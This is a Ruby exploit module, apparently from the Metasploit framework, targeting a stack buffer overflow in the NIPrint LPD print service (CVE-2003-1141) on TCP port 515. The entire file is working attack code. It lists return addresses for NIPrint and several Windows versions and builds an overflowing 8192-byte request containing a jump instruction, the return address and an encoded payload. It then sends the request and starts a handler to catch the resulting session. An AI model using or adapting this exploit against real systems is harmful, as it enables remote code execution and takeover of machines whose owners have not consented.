69 lines
1.7 KiB
Ruby
69 lines
1.7 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GoodRanking
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include Msf::Exploit::Remote::Tcp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'NIPrint LPD Request Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the
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Network Instrument NIPrint LPD service. Inspired by
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Immunity's VisualSploit :-)
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},
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'Author' => [ 'hdm' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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['CVE', '2003-1141'],
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['OSVDB', '2774'],
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['BID', '8968'],
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['URL', 'http://www.immunitysec.com/documentation/vs_niprint.html'],
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 500,
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'BadChars' => "\x00\x0a",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['NIPrint3.EXE (TDS:0x3a045ff2)', { 'Ret' => 0x00404236 }], # jmp esi
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['Windows XP SP3', { 'Ret' => 0x7C9D30E3 }],
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['Windows 7 x64', { 'Ret' => 0x763B35DD }],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 05 2003'))
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register_options(
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[
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Opt::RPORT(515)
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], self.class )
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end
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def exploit
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connect
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req = rand_text_alphanumeric(8192)
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req[ 0, 2] = "\xeb\x33"
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req[ 49, 4] = [target.ret].pack('V')
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req[ 53, payload.encoded.length ] = payload.encoded
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print_status("Trying target #{target.name}...")
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sock.put(req)
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handler
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disconnect
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end
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end
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